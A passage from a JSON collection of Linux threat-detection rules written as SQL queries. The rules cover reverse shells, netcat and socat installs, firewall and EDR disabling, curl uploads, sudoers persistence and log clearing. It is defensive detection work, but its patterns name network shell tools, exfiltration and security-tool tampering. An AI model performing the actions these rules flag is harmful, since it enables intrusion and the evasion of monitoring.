            "SELECT * FROM logs WHERE ((Image LIKE '%/service' ESCAPE '\\' OR Image LIKE '%/systemctl' ESCAPE '\\' OR Image LIKE '%/chkconfig' ESCAPE '\\') AND (CommandLine LIKE '% stop %' ESCAPE '\\' OR CommandLine LIKE '% disable %' ESCAPE '\\')) AND (NOT ((Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%--no-reload disable snap-snapd-%' ESCAPE '\\' OR CommandLine LIKE '% stop snap-snapd-%' ESCAPE '\\')) OR (Image LIKE '%/systemctl' ESCAPE '\\' AND ParentCommandLine LIKE '%tmp.ci/preinst upgrade%' ESCAPE '\\' AND (CommandLine LIKE '% stop %' ESCAPE '\\' AND CommandLine LIKE '%ssh.%' ESCAPE '\\')) OR (ParentCommandLine LIKE '%/dpkg/info/ubuntu-pro-client.prerm upgrade%' ESCAPE '\\' AND Image LIKE '%/systemctl' ESCAPE '\\'))) AND (NOT (Image LIKE '%/systemctl' ESCAPE '\\' AND CommandLine LIKE '%snap.amazon-ssm-agent.amazon-ssm-agent.service' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Git Clone - Linux",
        "id": "cfec9d29-64ec-4a0f-9ffe-0fdb856d5446",
        "status": "test",
        "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.reconnaissance",
            "attack.t1593.003"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/git' ESCAPE '\\' AND CommandLine LIKE '% clone %' ESCAPE '\\') AND (CommandLine LIKE '%exploit%' ESCAPE '\\' OR CommandLine LIKE '%Vulns%' ESCAPE '\\' OR CommandLine LIKE '%vulnerability%' ESCAPE '\\' OR CommandLine LIKE '%RCE%' ESCAPE '\\' OR CommandLine LIKE '%RemoteCodeExecution%' ESCAPE '\\' OR CommandLine LIKE '%Invoke-%' ESCAPE '\\' OR CommandLine LIKE '%CVE-%' ESCAPE '\\' OR CommandLine LIKE '%poc-%' ESCAPE '\\' OR CommandLine LIKE '%ProofOfConcept%' ESCAPE '\\' OR CommandLine LIKE '%proxyshell%' ESCAPE '\\' OR CommandLine LIKE '%log4shell%' ESCAPE '\\' OR CommandLine LIKE '%eternalblue%' ESCAPE '\\' OR CommandLine LIKE '%eternal-blue%' ESCAPE '\\' OR CommandLine LIKE '%MS17-%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Package Installed - Linux",
        "id": "700fb7e8-2981-401c-8430-be58e189e741",
        "status": "test",
        "description": "Detects installation of suspicious packages using system installation utilities",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.defense-impairment",
            "attack.t1553.004"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (((Image LIKE '%/apt' ESCAPE '\\' OR Image LIKE '%/apt-get' ESCAPE '\\') AND CommandLine LIKE '%install%' ESCAPE '\\') OR (Image LIKE '%/yum' ESCAPE '\\' AND (CommandLine LIKE '%localinstall%' ESCAPE '\\' OR CommandLine LIKE '%install%' ESCAPE '\\')) OR (Image LIKE '%/rpm' ESCAPE '\\' AND CommandLine LIKE '%-i%' ESCAPE '\\') OR (Image LIKE '%/dpkg' ESCAPE '\\' AND (CommandLine LIKE '%--install%' ESCAPE '\\' OR CommandLine LIKE '%-i%' ESCAPE '\\'))) AND (CommandLine LIKE '%nmap%' ESCAPE '\\' OR CommandLine LIKE '% nc%' ESCAPE '\\' OR CommandLine LIKE '%netcat%' ESCAPE '\\' OR CommandLine LIKE '%wireshark%' ESCAPE '\\' OR CommandLine LIKE '%tshark%' ESCAPE '\\' OR CommandLine LIKE '%openconnect%' ESCAPE '\\' OR CommandLine LIKE '%proxychains%' ESCAPE '\\' OR CommandLine LIKE '%socat%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Disabling Security Tools",
        "id": "e3a8a052-111f-4606-9aee-f28ebeb76776",
        "status": "test",
        "description": "Detects disabling security tools",
        "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community",
        "tags": [
            "attack.defense-impairment",
            "attack.t1686"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/service' ESCAPE '\\' AND (CommandLine LIKE '%iptables%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/service' ESCAPE '\\' AND (CommandLine LIKE '%ip6tables%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/chkconfig' ESCAPE '\\' AND (CommandLine LIKE '%iptables%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/chkconfig' ESCAPE '\\' AND (CommandLine LIKE '%ip6tables%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%firewalld%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%firewalld%' ESCAPE '\\' AND CommandLine LIKE '%disable%' ESCAPE '\\')) OR (Image LIKE '%/service' ESCAPE '\\' AND (CommandLine LIKE '%cbdaemon%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/chkconfig' ESCAPE '\\' AND (CommandLine LIKE '%cbdaemon%' ESCAPE '\\' AND CommandLine LIKE '%off%' ESCAPE '\\')) OR (Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%cbdaemon%' ESCAPE '\\' AND CommandLine LIKE '%stop%' ESCAPE '\\')) OR (Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%cbdaemon%' ESCAPE '\\' AND CommandLine LIKE '%disable%' ESCAPE '\\')) OR (Image LIKE '%/setenforce' ESCAPE '\\' AND CommandLine LIKE '%0%' ESCAPE '\\') OR (Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%stop%' ESCAPE '\\' AND CommandLine LIKE '%falcon-sensor%' ESCAPE '\\')) OR (Image LIKE '%/systemctl' ESCAPE '\\' AND (CommandLine LIKE '%disable%' ESCAPE '\\' AND CommandLine LIKE '%falcon-sensor%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Python Spawning Pretty TTY Via PTY Module",
        "id": "c4042d54-110d-45dd-a0e1-05c47822c937",
        "status": "test",
        "description": "Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.\n",
        "author": "Nextron Systems",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE ((Image LIKE '%/python' ESCAPE '\\' OR Image LIKE '%/python2' ESCAPE '\\' OR Image LIKE '%/python3' ESCAPE '\\') OR (Image LIKE '%/python2.%' ESCAPE '\\' OR Image LIKE '%/python3.%' ESCAPE '\\')) AND (CommandLine LIKE '%import pty%' ESCAPE '\\' OR CommandLine LIKE '%from pty %' ESCAPE '\\') AND CommandLine LIKE '%spawn%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Shell Invocation via Apt - Linux",
        "id": "bb382fd5-b454-47ea-a264-1828e4c766d6",
        "status": "test",
        "description": "Detects the use of the \"apt\" and \"apt-get\" commands to execute a shell or proxy commands.\nSuch behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\n",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.discovery",
            "attack.t1083"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/apt' ESCAPE '\\' OR Image LIKE '%/apt-get' ESCAPE '\\') AND CommandLine LIKE '%APT::Update::Pre-Invoke::=%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Xterm Reverse Shell",
        "id": "4e25af4b-246d-44ea-8563-e42aacab006b",
        "status": "test",
        "description": "Detects usage of \"xterm\" as a potential reverse shell tunnel",
        "author": "@d4ns4n_",
        "tags": [
            "attack.execution",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%xterm%' ESCAPE '\\' AND CommandLine LIKE '%-display%' ESCAPE '\\' AND CommandLine LIKE '%:1' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Linux Amazon SSM Agent Hijacking",
        "id": "f9b3edc5-3322-4fc7-8aa3-245d646cc4b7",
        "status": "test",
        "description": "Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.",
        "author": "Muhammad Faisal",
        "tags": [
            "attack.command-and-control",
            "attack.persistence",
            "attack.t1219.002"
        ],
        "falsepositives": [
            "Legitimate activity of system administrators"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/amazon-ssm-agent' ESCAPE '\\' AND (CommandLine LIKE '%-register %' ESCAPE '\\' AND CommandLine LIKE '%-code %' ESCAPE '\\' AND CommandLine LIKE '%-id %' ESCAPE '\\' AND CommandLine LIKE '%-region %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Touch Suspicious Service File",
        "id": "31545105-3444-4584-bebf-c466353230d2",
        "status": "test",
        "description": "Detects usage of the \"touch\" process in service file.",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.stealth",
            "attack.t1070.006"
        ],
        "falsepositives": [
            "Admin changing date of files."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/touch' ESCAPE '\\' AND CommandLine LIKE '% -t %' ESCAPE '\\' AND CommandLine LIKE '%.service' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Scheduled Cron Task/Job - Linux",
        "id": "6b14bac8-3e3a-4324-8109-42f0546a347f",
        "status": "test",
        "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.",
        "author": "Alejandro Ortuno, oscd.community",
        "tags": [
            "attack.execution",
            "attack.persistence",
            "attack.privilege-escalation",
            "attack.t1053.003"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%crontab' ESCAPE '\\' AND CommandLine LIKE '%/tmp/%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi Account Creation Via ESXCLI",
        "id": "b28e4eb3-8bbc-4f0c-819f-edfe8e2f25db",
        "status": "test",
        "description": "Detects user account creation on ESXi system via esxcli",
        "author": "Cedric Maurugeon",
        "tags": [
            "attack.persistence",
            "attack.execution",
            "attack.t1136",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/esxcli' ESCAPE '\\' AND (CommandLine LIKE '%system %' ESCAPE '\\' AND CommandLine LIKE '%account %' ESCAPE '\\' AND CommandLine LIKE '%add %' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Shell Pipe to Shell",
        "id": "880973f3-9708-491c-a77b-2a35a1921158",
        "status": "test",
        "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.stealth",
            "attack.t1140"
        ],
        "falsepositives": [
            "Legitimate software that uses these patterns"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (CommandLine LIKE 'sh -c %' ESCAPE '\\' OR CommandLine LIKE 'bash -c %' ESCAPE '\\') AND ((CommandLine LIKE '%| bash %' ESCAPE '\\' OR CommandLine LIKE '%| sh %' ESCAPE '\\' OR CommandLine LIKE '%|bash %' ESCAPE '\\' OR CommandLine LIKE '%|sh %' ESCAPE '\\') OR (CommandLine LIKE '%| bash' ESCAPE '\\' OR CommandLine LIKE '%| sh' ESCAPE '\\' OR CommandLine LIKE '%|bash' ESCAPE '\\' OR CommandLine LIKE '% |sh' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "UFW Disable Attempt",
        "id": "84c9e83c-599a-458a-a0cb-0ecce44e807a",
        "status": "test",
        "description": "Detects attempts to disable the Uncomplicated Firewall (UFW) on Linux systems.\nUFW is a popular firewall management tool that provides an easy-to-use interface for configuring firewall rules.\nDisabling UFW can leave a system vulnerable to attacks, as it may allow unauthorized access to network services and resources.\n",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.defense-impairment",
            "attack.t1686"
        ],
        "falsepositives": [
            "Legitimate actions by system administrators to disable UFW."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/ufw-init' ESCAPE '\\' AND (CommandLine LIKE '% force-stop%' ESCAPE '\\' OR CommandLine LIKE '% stop%' ESCAPE '\\' OR CommandLine LIKE '% flush%' ESCAPE '\\')) OR (CommandLine LIKE '%ufw %' ESCAPE '\\' AND CommandLine LIKE '%disable%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi VM List Discovery Via ESXCLI",
        "id": "5f1573a7-363b-4114-9208-ad7a61de46eb",
        "status": "test",
        "description": "Detects execution of the \"esxcli\" command with the \"vm\" flag in order to retrieve information about the installed VMs.",
        "author": "Cedric Maurugeon",
        "tags": [
            "attack.discovery",
            "attack.execution",
            "attack.t1033",
            "attack.t1007",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administration activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/esxcli' ESCAPE '\\' AND CommandLine LIKE '%vm process%' ESCAPE '\\' AND CommandLine LIKE '% list' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potentially Suspicious Named Pipe Created Via Mkfifo",
        "id": "999c3b12-0a8c-40b6-8e13-dd7d62b75c7a",
        "status": "test",
        "description": "Detects the creation of a new named pipe using the \"mkfifo\" utility in a potentially suspicious location",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.execution"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/mkfifo' ESCAPE '\\' AND CommandLine LIKE '% /tmp/%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Interactive Bash Suspicious Children",
        "id": "ea3ecad2-db86-4a89-ad0b-132a10d2db55",
        "status": "test",
        "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.stealth",
            "attack.t1059.004",
            "attack.t1036"
        ],
        "falsepositives": [
            "Legitimate software that uses these patterns"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE ParentCommandLine='bash -i' AND ((CommandLine LIKE '%-c import %' ESCAPE '\\' OR CommandLine LIKE '%base64%' ESCAPE '\\' OR CommandLine LIKE '%pty.spawn%' ESCAPE '\\') OR (Image LIKE '%whoami' ESCAPE '\\' OR Image LIKE '%iptables' ESCAPE '\\' OR Image LIKE '%/ncat' ESCAPE '\\' OR Image LIKE '%/nc' ESCAPE '\\' OR Image LIKE '%/netcat' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious Curl File Upload - Linux",
        "id": "00b90cc1-17ec-402c-96ad-3a8117d7a582",
        "status": "test",
        "description": "Detects a suspicious curl process start the adds a file to a web request",
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)",
        "tags": [
            "attack.exfiltration",
            "attack.command-and-control",
            "attack.t1567",
            "attack.t1105"
        ],
        "falsepositives": [
            "Scripts created by developers and admins"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/curl' ESCAPE '\\' AND ((CommandLine LIKE '% --form%' ESCAPE '\\' OR CommandLine LIKE '% --upload-file %' ESCAPE '\\' OR CommandLine LIKE '% --data %' ESCAPE '\\' OR CommandLine LIKE '% --data-%' ESCAPE '\\') OR CommandLine REGEXP '\\s-[FTd]\\s')) AND (NOT (CommandLine LIKE '%://localhost%' ESCAPE '\\' OR CommandLine LIKE '%://127.0.0.1%' ESCAPE '\\'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Flush Iptables Ufw Chain",
        "id": "3be619f4-d9ec-4ea8-a173-18fdd01996ab",
        "status": "test",
        "description": "Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.defense-impairment",
            "attack.t1686"
        ],
        "falsepositives": [
            "Network administrators"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (Image LIKE '%/iptables' ESCAPE '\\' OR Image LIKE '%/xtables-legacy-multi' ESCAPE '\\' OR Image LIKE '%/iptables-legacy-multi' ESCAPE '\\' OR Image LIKE '%/ip6tables' ESCAPE '\\' OR Image LIKE '%/ip6tables-legacy-multi' ESCAPE '\\') AND (CommandLine LIKE '%-F%' ESCAPE '\\' OR CommandLine LIKE '%-Z%' ESCAPE '\\' OR CommandLine LIKE '%-X%' ESCAPE '\\') AND (CommandLine LIKE '%ufw-logging-deny%' ESCAPE '\\' OR CommandLine LIKE '%ufw-logging-allow%' ESCAPE '\\' OR CommandLine LIKE '%ufw6-logging-deny%' ESCAPE '\\' OR CommandLine LIKE '%ufw6-logging-allow%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "ESXi Syslog Configuration Change Via ESXCLI",
        "id": "38eb1dbb-011f-40b1-a126-cf03a0210563",
        "status": "test",
        "description": "Detects changes to the ESXi syslog configuration via \"esxcli\"",
        "author": "Cedric Maurugeon",
        "tags": [
            "attack.execution",
            "attack.defense-impairment",
            "attack.t1685",
            "attack.t1690",
            "attack.t1059.012"
        ],
        "falsepositives": [
            "Legitimate administrative activities"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/esxcli' ESCAPE '\\' AND (CommandLine LIKE '%system%' ESCAPE '\\' AND CommandLine LIKE '%syslog%' ESCAPE '\\' AND CommandLine LIKE '%config%' ESCAPE '\\') AND CommandLine LIKE '% set%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Doas Conf File Creation",
        "id": "00eee2a5-fdb0-4746-a21d-e43fbdea5681",
        "status": "stable",
        "description": "Detects the creation of doas.conf file in linux host platform.",
        "author": "Sittikorn S, Teoderick Contreras",
        "tags": [
            "attack.privilege-escalation",
            "attack.t1548"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE TargetFilename LIKE '%/etc/doas.conf' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Persistence Via Sudoers.d Files",
        "id": "ddb26b76-4447-4807-871f-1b035b2bfa5d",
        "status": "test",
        "description": "Detects the creation or modification of files within the \"sudoers.d\" directory on Linux systems.\nSuch activity may indicate an attempt to establish or maintain privilege escalation by granting specific users elevated permissions.\nUnauthorized changes to sudoers files are a common technique used by attackers to persist administrative access.\n",
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "tags": [
            "attack.privilege-escalation",
            "attack.persistence",
            "attack.t1548.003"
        ],
        "falsepositives": [
            "Creation of legitimate files in sudoers.d folder as part of administrator work"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE TargetFilename LIKE '/etc/sudoers.d/%' ESCAPE '\\' AND (NOT (Image LIKE '%/usr/bin/dpkg' ESCAPE '\\' AND TargetFilename='/etc/sudoers.d/README.dpkg-new'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Wget Creating Files in Tmp Directory",
        "id": "35a05c60-9012-49b6-a11f-6bab741c9f74",
        "status": "test",
        "description": "Detects the use of wget to download content in a temporary directory such as \"/tmp\" or \"/var/tmp\"",
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "tags": [
            "attack.command-and-control",
            "attack.t1105"
        ],
        "falsepositives": [
            "Legitimate downloads of files in the tmp folder."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/wget' ESCAPE '\\' AND (TargetFilename LIKE '/tmp/%' ESCAPE '\\' OR TargetFilename LIKE '/var/tmp/%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Suspicious C2 Activities",
        "id": "f7158a64-6204-4d6d-868a-6e6378b467e0",
        "status": "test",
        "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n",
        "author": "Marie Euler",
        "tags": [
            "attack.command-and-control"
        ],
        "falsepositives": [
            "Admin or User activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE key LIKE 'susp\\_activity' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Unix Shell Configuration Modification",
        "id": "a94cdd87-6c54-4678-a6cc-2814ffe5a13d",
        "status": "test",
        "description": "Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.",
        "author": "Peter Matkovski, IAI",
        "tags": [
            "attack.privilege-escalation",
            "attack.persistence",
            "attack.t1546.004"
        ],
        "falsepositives": [
            "Admin or User activity are expected to generate some false positives"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='PATH' AND (name='/etc/shells' OR name='/etc/profile' OR name LIKE '/etc/profile.d/%' ESCAPE '\\' OR name='/etc/bash.bashrc' OR name='/etc/bashrc' OR name='/etc/zsh/zprofile' OR name='/etc/zsh/zshrc' OR name='/etc/zsh/zlogin' OR name='/etc/zsh/zlogout' OR name='/etc/csh.cshrc' OR name='/etc/csh.login' OR name='/root/.bashrc' OR name LIKE '/root/.bash\\_profile' ESCAPE '\\' OR name='/root/.profile' OR name='/root/.zshrc' OR name='/root/.zprofile' OR name LIKE '/home/%/.bashrc' ESCAPE '\\' OR name LIKE '/home/%/.zshrc' ESCAPE '\\' OR name LIKE '/home/%/.bash\\_profile' ESCAPE '\\' OR name LIKE '/home/%/.zprofile' ESCAPE '\\' OR name LIKE '/home/%/.profile' ESCAPE '\\' OR name LIKE '/home/%/.bash\\_login' ESCAPE '\\' OR name LIKE '/home/%/.bash\\_logout' ESCAPE '\\' OR name LIKE '/home/%/.zlogin' ESCAPE '\\' OR name LIKE '/home/%/.zlogout' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Systemd Service Creation",
        "id": "1bac86ba-41aa-4f62-9d6b-405eac99b485",
        "status": "test",
        "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.",
        "author": "Pawel Mazur",
        "tags": [
            "attack.privilege-escalation",
            "attack.persistence",
            "attack.t1543.002"
        ],
        "falsepositives": [
            "Admin work like legit service installs."
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (type='PATH' AND nametype='CREATE') AND ((name LIKE '/usr/lib/systemd/system/%' ESCAPE '\\' OR name LIKE '/etc/systemd/system/%' ESCAPE '\\') OR name LIKE '%/.config/systemd/user/%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Potential Abuse of Linux Magic System Request Key",
        "id": "ea61bb82-a5e0-42e6-8537-91d29500f1b9",
        "status": "experimental",
        "description": "Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges\nto silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes,\nor disrupt forensic analysis\u2014all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be\nmisused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.\n",
        "author": "Milad Cheraghi",
        "tags": [
            "attack.execution",
            "attack.t1059.004",
            "attack.impact",
            "attack.t1529",
            "attack.t1489",
            "attack.t1499"
        ],
        "falsepositives": [
            "Legitimate administrative activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='PATH' AND (name LIKE '%/sysrq' ESCAPE '\\' OR name LIKE '%/sysctl.conf' ESCAPE '\\' OR name LIKE '%/sysrq-trigger' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Program Executions in Suspicious Folders",
        "id": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc",
        "status": "test",
        "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.t1587",
            "attack.t1584",
            "attack.resource-development"
        ],
        "falsepositives": [
            "Admin activity (especially in /tmp folders)",
            "Crazy web applications"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='SYSCALL' AND (exe LIKE '/tmp/%' ESCAPE '\\' OR exe LIKE '/var/www/%' ESCAPE '\\' OR exe LIKE '/home/%/public\\_html/%' ESCAPE '\\' OR exe LIKE '/usr/local/apache2/%' ESCAPE '\\' OR exe LIKE '/usr/local/httpd/%' ESCAPE '\\' OR exe LIKE '/var/apache/%' ESCAPE '\\' OR exe LIKE '/srv/www/%' ESCAPE '\\' OR exe LIKE '/home/httpd/html/%' ESCAPE '\\' OR exe LIKE '/srv/http/%' ESCAPE '\\' OR exe LIKE '/usr/share/nginx/html/%' ESCAPE '\\' OR exe LIKE '/var/lib/pgsql/data/%' ESCAPE '\\' OR exe LIKE '/usr/local/mysql/data/%' ESCAPE '\\' OR exe LIKE '/var/lib/mysql/%' ESCAPE '\\' OR exe LIKE '/var/vsftpd/%' ESCAPE '\\' OR exe LIKE '/etc/bind/%' ESCAPE '\\' OR exe LIKE '/var/named/%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Clear or Disable Kernel Ring Buffer Logs via Syslog Syscall",
        "id": "eca5e022-d368-4043-98e5-9736fb01f72f",
        "status": "experimental",
        "description": "Detects the use of the `syslog` syscall with action code 5 (SYSLOG_ACTION_CLEAR),\n(4 is SYSLOG_ACTION_READ_CLEAR and 6 is SYSLOG_ACTION_CONSOLE_OFF) which clears the kernel\nring buffer (dmesg logs). This can be used by attackers to hide traces after exploitation\nor privilege escalation. A common technique is running `dmesg -c`, which triggers this syscall internally.\n",
        "author": "Milad Cheraghi",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685.006"
        ],
        "falsepositives": [
            "System administrators or scripts that intentionally clear logs",
            "Debugging scripts"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='SYSCALL' AND SYSCALL='syslog' AND (a0=4 OR a0=5 OR a0=6)"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Creation Of An User Account",
        "id": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512",
        "status": "test",
        "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.",
        "author": "Marie Euler, Pawel Mazur",
        "tags": [
            "attack.t1136.001",
            "attack.persistence"
        ],
        "falsepositives": [
            "Admin activity"
        ],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE (type='SYSCALL' AND exe LIKE '%/useradd' ESCAPE '\\') OR type LIKE 'ADD\\_USER' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Masquerading as Linux Crond Process",
        "id": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0",
        "status": "test",
        "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n",
        "author": "Timur Zinniatullin, oscd.community",
        "tags": [
            "attack.stealth",
            "attack.t1036.003"
        ],
        "falsepositives": [],
        "level": "medium",
        "rule": [
            "SELECT * FROM logs WHERE type='execve' AND a0='cp' AND a1='/bin/sh' AND a2 LIKE '%/crond' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Remove Immutable File Attribute - Auditd",
        "id": "a5b977d6-8a81-4475-91b9-49dbfcd941f7",
        "status": "test",
        "description": "Detects removing immutable file attribute.",
        "author": "Jakob Weinzettl, oscd.community",
        "tags": [
            "attack.defense-impairment",
